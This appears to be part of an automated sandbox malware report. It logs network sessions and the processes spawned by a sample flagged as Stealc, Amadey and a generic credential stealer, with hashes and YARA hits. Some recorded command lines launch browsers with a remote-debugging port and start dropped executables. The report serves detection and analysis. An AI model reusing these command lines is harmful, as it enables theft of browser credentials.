2024-12-17 09:09:11 UTC	716	IN	Data Raw: 32 63 35 0d 0a 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 Data Ascii: 2c5-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 20 5c 5c 39 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 69 6d 61 67 65 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 65 5c 75 30 30 33 63 Data Ascii: 8000 \\9\"\u003e\u003c\/image\u003e\u003c\/svg\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003e\u003c
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 45 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 29 3b 44 64 5c 75 30 30 32 36 Data Ascii: r?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd\u003ddocument.querySelector(\".gb_I .gb_A\"),Ed\u003ddocument.querySelector(\"#gb.gb_Rc\");Dd\u0026
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 51 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 51 64 28 5f 2e 4d 64 3f 5f 2e 4d 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 56 64 2c 69 65 2c 55 64 2c 57 64 2c 61 65 3b 5f 2e 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 Data Ascii: u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Qd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Rd\u003dnew _.Qd(_.Md?_.Md.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Vd,ie,Ud,Wd,ae;_.Sd\u003dfunction(a){return a\u003
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4c 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4c 63 Data Ascii: n b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Lc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Lc
2024-12-17 09:09:11 UTC	1390	IN	Data Raw: 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 70 61 6e 5c 22 2c 74 79 70 65 3a 5c 22 74 79 70 65 5c 22 2c 75 73 65 6d 61 70 3a 5c 22 75 73 65 4d 61 70 5c 22 2c 76 61 6c 69 67 6e 3a 5c 22 76 41 6c 69 67 6e 5c 22 2c 77 69 64 74 68 3a 5c 22 77 69 64 74 68 5c 22 7d 3b 5c 6e 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: lspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\",nonce:\"nonce\",role:\"role\",rowspan:\"rowSpan\",type:\"type\",usemap:\"useMap\",valign:\"vAlign\",width:\"width\"};\n_.qe\u003dfunction(a)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49842	142.250.181.132	443	7868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:09:10 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 09:09:11 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 17 Dec 2024 09:09:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-17 09:09:11 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-17 09:09:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49910	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:09:32 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6e 58 64 63 4a 41 68 6b 34 45 57 51 79 48 4b 70 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 39 62 35 34 35 31 64 31 38 62 30 63 66 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: nXdcJAhk4EWQyHKp.1Context: 579b5451d18b0cf6
2024-12-17 09:09:32 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 09:09:32 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6e 58 64 63 4a 41 68 6b 34 45 57 51 79 48 4b 70 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 39 62 35 34 35 31 64 31 38 62 30 63 66 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 77 52 32 63 46 6a 78 6d 57 46 71 6a 6a 47 59 68 6e 59 68 4d 6c 65 47 62 4a 7a 4b 32 6f 43 55 4a 4f 51 64 56 5a 65 6b 53 34 6c 76 48 61 51 30 66 51 61 50 63 5a 55 78 37 65 4a 53 6d 77 46 65 69 4e 65 52 53 69 76 38 4d 77 56 4d 38 64 63 54 39 41 34 4e 72 6c 43 38 45 75 72 52 32 64 4c 42 59 53 72 67 53 51 6c 5a 6c 45 79 7a 6f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: nXdcJAhk4EWQyHKp.2Context: 579b5451d18b0cf6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfwR2cFjxmWFqjjGYhnYhMleGbJzK2oCUJOQdVZekS4lvHaQ0fQaPcZUx7eJSmwFeiNeRSiv8MwVM8dcT9A4NrlC8EurR2dLBYSrgSQlZlEyzo
2024-12-17 09:09:32 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6e 58 64 63 4a 41 68 6b 34 45 57 51 79 48 4b 70 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 39 62 35 34 35 31 64 31 38 62 30 63 66 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: nXdcJAhk4EWQyHKp.3Context: 579b5451d18b0cf6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 09:09:33 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 09:09:33 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 63 61 6a 6b 4e 68 6a 48 45 47 4c 77 6d 41 46 32 6e 34 74 43 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VcajkNhjHEGLwmAF2n4tCQ.0Payload parsing failed.

Target ID:	0
Start time:	04:08:17
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\V65xPrgEHH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\V65xPrgEHH.exe"
Imagebase:	0x580000
File size:	1'882'112 bytes
MD5 hash:	CD0AC63BD2ECE29FE4AB3AE30DF60D15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2324658098.0000000001175000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2293685890.0000000001125000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2293899082.0000000001178000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2293784143.000000000113E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:08:48
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe"
Imagebase:	0x660000
File size:	1'782'272 bytes
MD5 hash:	658970FA0BE64B36B89CABF358BA6993
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:08:53
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe"
Imagebase:	0x730000
File size:	2'859'008 bytes
MD5 hash:	BF86F8D222211B376DD5C074CC460BED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.3121894220.0000000000804000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2511850219.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.3121894220.0000000000731000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:09:05
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:09:06
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2224,i,14232946858736540846,14705278479212829889,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:09:16
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:09:17
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2240,i,8471859797131499959,491410908596195355,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:09:17
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:09:18
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2016,i,11248231860674350639,8152344142954779347,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:09:53
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIEHIDHJDB.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:09:53
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:09:53
Start date:	17/12/2024
Path:	C:\Users\user\Documents\GIEHIDHJDB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\GIEHIDHJDB.exe"
Imagebase:	0xc0000
File size:	3'054'592 bytes
MD5 hash:	8A6DF8D3BAB93A45ABFEC4947C817B93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.3120637248.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.3161003714.00000000000C1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:09:57
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x240000
File size:	3'054'592 bytes
MD5 hash:	8A6DF8D3BAB93A45ABFEC4947C817B93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3195233598.0000000000241000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.3154964868.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:10:00
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x240000
File size:	3'054'592 bytes
MD5 hash:	8A6DF8D3BAB93A45ABFEC4947C817B93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.3225063713.0000000000241000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.3184885863.0000000005170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 0110C0A1 Relevance: .9, Instructions: 948COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2293839610.0000000001103000.00000004.00000020.00020000.00000000.sdmp, Offset: 01103000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1103000_V65xPrgEHH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ba1eb261fdc38a90aeda3ac8e83585b1e8d16a63a102881e0da280e74c77da
Instruction ID: 64cfdcf8b77310bb12d12bbfe0392a996350a2c28ba689aa6a46af56ff92d6fe
Opcode Fuzzy Hash: 30ba1eb261fdc38a90aeda3ac8e83585b1e8d16a63a102881e0da280e74c77da
Instruction Fuzzy Hash: EB32006284E3C14FD7078B7488796917FB1AE1321471E86CBC4C5CF4E3D3A9594ADBA2

Function 011495D9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

